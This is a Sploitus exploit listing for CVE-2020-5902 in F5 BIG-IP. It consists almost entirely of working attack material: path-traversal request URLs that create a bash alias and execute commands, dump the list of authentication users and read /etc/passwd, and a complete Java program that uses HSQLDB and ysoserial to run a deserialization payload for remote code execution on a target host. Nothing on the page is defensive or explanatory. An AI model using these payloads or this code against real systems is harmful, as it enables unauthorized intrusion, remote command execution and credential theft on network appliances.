Sploitus

Exploit for CVE-2020-5903 CVE-2020-5902 CVE-2020-5903

kitploit · 2026-09-01

Exploit Code

MARKDOWN104 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-LTVTHANG-CVE-2020-5903
# CVE-2020-5902

## RCE

/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/WWWWW&content=id /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/WWWWW

## ysoserial

root@kitploit:~
    
    
    /*
     利用标题: F5 BIG-IP 远程代码执行
     日期: 2020-07-06
     作者: Charles Dardaman of Critical Start, TeamARES
                      Rich Mirch of Critical Start, TeamARES
     CVE: CVE-2020-5902
    
     要求:
       Java JDK
       hsqldb.jar 1.8
       ysoserial https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
    */
    
    import java.sql.Connection;
    import java.sql.DriverManager;
    import java.sql.Statement;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    import java.io.IOException;
    import org.hsqldb.lib.StringConverter;
    
    public class f5RCE {
    
    	public static void main(String[] args) {
    		Connection connection;
    		Statement statement;
    
    		if(args.length != 2) {
    			System.err.println("\n用法: <主机名> <payload.txt>\n");
    			System.exit(1);
    		}
    		String server = args[0];
    		String pfile = args[1];
    		String payload = null;
    
    		try {
    			payload = new String(Files.readAllBytes(Paths.get(pfile)));
    			payload = payload.replaceAll("(\\n|\\r)","");
    		} catch (IOException e) {
    			e.printStackTrace();
    		}
    
    		String dburl = "jdbc:hsqldb:https://" + server +
                                   ":443/tmui/login.jsp/..%3b/hsqldb/";
    
    		System.out.println("正在连接到 " + server);
    		try {
    			Class.forName("org.hsqldb.jdbcDriver");
    			connection = DriverManager.getConnection(dburl, "sa","");
    			statement = connection.createStatement();
    			statement.execute("call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')");
    			statement.execute("call \"org.hsqldb.util.ScriptTool.main\"('" + payload +"');");
    		} catch (java.sql.SQLException sqle) {
    			// 忽略 java.sql.SQLException: S1000
    			// 一般错误 java.lang.IllegalArgumentException: 参数类型不匹配
    			if(sqle.getSQLState().equals("S1000") && sqle.getErrorCode() == 40) {
    				System.out.println("有效载荷已执行");
    			} else {
    				System.out.println("意外的 SQL 错误");
    				sqle.printStackTrace();
    			}
    			return;
    		}
    		catch (ClassNotFoundException cne) {
    			System.err.println("加载数据库驱动时出错");
    			cne.printStackTrace();
    			return;
    		}
    	}
    }
    
    

## 读取密码

/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user

## 读取文件

/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

## 写入文件

/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/WWWWW&content=id

## 列出文件

/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/

## Orange Tsai - 解析器逻辑突破

https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf